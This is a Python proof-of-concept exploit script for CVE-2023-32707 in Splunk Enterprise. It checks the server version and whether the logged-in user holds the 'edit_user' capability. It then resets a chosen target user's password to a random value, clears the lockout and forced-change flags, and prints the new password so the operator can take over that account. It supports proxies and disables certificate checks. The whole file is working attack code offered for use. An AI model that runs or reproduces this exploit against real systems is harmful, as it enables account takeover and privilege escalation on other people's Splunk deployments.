import argparse import requests import random import string import base64 import urllib3 # Ignore warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def print_banner(): print("\033[38;5;138m \033[38;5;138m┌\033[38;5;138m─\033[38;5;138m┐\033[38;5;138m \033[38;5;138m┌\033[38;5;138m─\033[38;5;138m┐\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m \033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┌\033[38;5;138m┐\033[38;5;138m┌\033[38;5;138m \033[38;5;138m┬\033[38;5;138m┌\033[38;5;138m─\033[38;5;138m \033[38;5;138m┌\033[38;5;138m─\033[38;5;138m┐\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┌\033[38;5;138m┐\033[38;5;138m┌") print("\033[38;5;138m \033[38;5;138m└\033[38;5;138m─\033[38;5;138m┐\033[38;5;139m \033[38;5;139m├\033[38;5;139m─\033[38;5;139m┘\033[38;5;139m \033[38;5;139m│\033[38;5;139m \033[38;5;139m \033[38;5;139m \033[38;5;139m│\033[38;5;139m \033[38;5;139m│\033[38;5;139m \033[38;5;139m│\033[38;5;139m│\033[38;5;139m│\033[38;5;139m \033[38;5;139m├\033[38;5;139m┴\033[38;5;139m┐\033[38;5;139m \033[38;5;139m├\033[38;5;139m─\033[38;5;139m┘\033[38;5;139m \033[38;5;139m│\033[38;5;139m│\033[38;5;139m│\033[38;5;139m \033[38;5;139m│\033[38;5;139m│\033[38;5;139m│") print("\033[38;5;139m \033[38;5;139m└\033[38;5;139m─\033[38;5;139m┘\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m \033[38;5;140m \033[38;5;140m┴\033[38;5;140m─\033[38;5;140m┘\033[38;5;140m \033[38;5;140m└\033[38;5;140m─\033[38;5;140m┘\033[38;5;140m \033[38;5;140m┘\033[38;5;140m└\033[38;5;140m┘\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m \033[38;5;140m \033[38;5;140m└\033[38;5;140m┴\033[38;5;140m┘\033[38;5;140m \033[38;5;140m┘\033[38;5;140m└\033[38;5;140m┘") def is_version_affected(splunk_version): affected_ranges = [ {'start': '8.1.0', 'end': '8.1.13'}, {'start': '8.2.0', 'end': '8.2.10'}, {'start': '9.0.0', 'end': '9.0.4'} ] for range_ in affected_ranges: if compare_versions(range_['start'], splunk_version) <= 0 <= compare_versions(range_['end'], splunk_version): return True return False def compare_versions(version1, version2): version1 = list(map(int, version1.split('.'))) version2 = list(map(int, version2.split('.'))) for v1, v2 in zip(version1, version2): if v1 < v2: return -1 elif v1 > v2: return 1 return 0 def load_proxies_from_file(file_path): proxies = {} try: with open(file_path, 'r') as f: for line in f: protocol, proxy_url = line.strip().split('=') proxies[protocol] = proxy_url except FileNotFoundError: print(f"Proxy file '{file_path}' not found.") except Exception as e: print(f"Error loading proxies from file: {e}") return proxies def main(): try: print_banner() parser = argparse.ArgumentParser(description='Splunk Authentication') parser.add_argument('--host', required=True, help='Splunk host or IP address') parser.add_argument('--username', required=True, help='Splunk username') parser.add_argument('--password', required=True, help='Splunk password') parser.add_argument('--target-user', required=True, help='Target user') parser.add_argument('--force-exploit', action='store_true', help='Force exploit') parser.add_argument('--proxy-file', help='File containing proxies') args = parser.parse_args() splunk_host = args.host.split(':')[0] splunk_username = args.username splunk_password = args.password target_user = args.target_user force_exploit = args.force_exploit proxy_file = args.proxy_file splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089 user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users" credentials = f"{splunk_username}:{splunk_password}" base64_credentials = base64.b64encode(credentials.encode()).decode() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0', 'Authorization': f'Basic {base64_credentials}' } proxies = {} if proxy_file: proxies = load_proxies_from_file(proxy_file) response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json", headers=headers, proxies=proxies, verify=False) if response.status_code == 200: user = response.json() splunk_version = user['generator']['version'] print(f"Detected Splunk version '{splunk_version}'") if is_version_affected(splunk_version) or force_exploit: user_capabilities = user['entry'][0]['content']['capabilities'] if 'edit_user' in user_capabilities: print(f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.") new_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) change_password_payload = { 'password': new_password, 'force-change-pass': 0, 'locked-out': 0 } response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json", data=change_password_payload, headers=headers, proxies=proxies, verify=False) if response.status_code == 200: print(f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'") else: print('Account takeover failed') else: print(f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.") else: print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707") else: print(f"Failed to authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'. Status code: {response.status_code}") except Exception as e: print(f"An unexpected error occurred: {e}") exit(1) if __name__ == "__main__": main()